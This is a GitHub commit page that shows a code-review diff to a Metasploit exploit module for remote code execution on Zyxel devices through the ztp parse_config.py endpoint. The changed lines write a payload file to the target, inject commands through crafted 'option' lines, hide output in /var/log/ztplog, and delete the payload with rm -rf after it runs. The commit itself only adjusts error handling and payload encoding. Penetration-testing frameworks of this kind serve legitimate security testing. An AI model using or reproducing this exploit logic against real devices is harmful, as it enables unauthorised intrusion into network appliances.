Skip to content

Commit a833547

Browse files
Apply suggestions from code review
Co-authored-by: Spencer McIntyre <[email protected]>
1 parent d8d1ea7 commit a833547

File tree

1 file changed

+9
-4
lines changed

1 file changed

+9
-4
lines changed

modules/exploits/linux/http/zyxel_parse_config_rce.rb

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -107,7 +107,7 @@ def exploit
107107
filename = rand_text_alpha(1)
108108
payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"
109109

110-
command = payload.encoded
110+
command = payload.raw
111111
command += <<~CMD
112112
2>/var/log/ztplog 1>/var/log/ztplog
113113
(sleep 10 && /bin/rm -rf #{payload_filepath}) &
@@ -127,9 +127,12 @@ def exploit
127127
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
128128
'data' => data.to_s
129129
})
130-
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
130+
unless file_write_res && !file_write_res.body.include?('ParseError: 0xC0DE0005')
131+
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')
132+
end
133+
131134
register_files_for_cleanup(payload_filepath)
132-
print_good('File write was successful.')
135+
print_good("File write was successful, uploaded: #{payload_filepath}")
133136

134137
cmd_injection_pload = "option proto gre\n"
135138
cmd_injection_pload += "option name 0\n"
@@ -147,6 +150,8 @@ def exploit
147150
'data' => data.to_s
148151
})
149152

150-
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful') if cmd_injection_res && cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
153+
unless cmd_injection_res && !cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
154+
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')
155+
end
151156
end
152157
end

0 commit comments

Comments
 (0)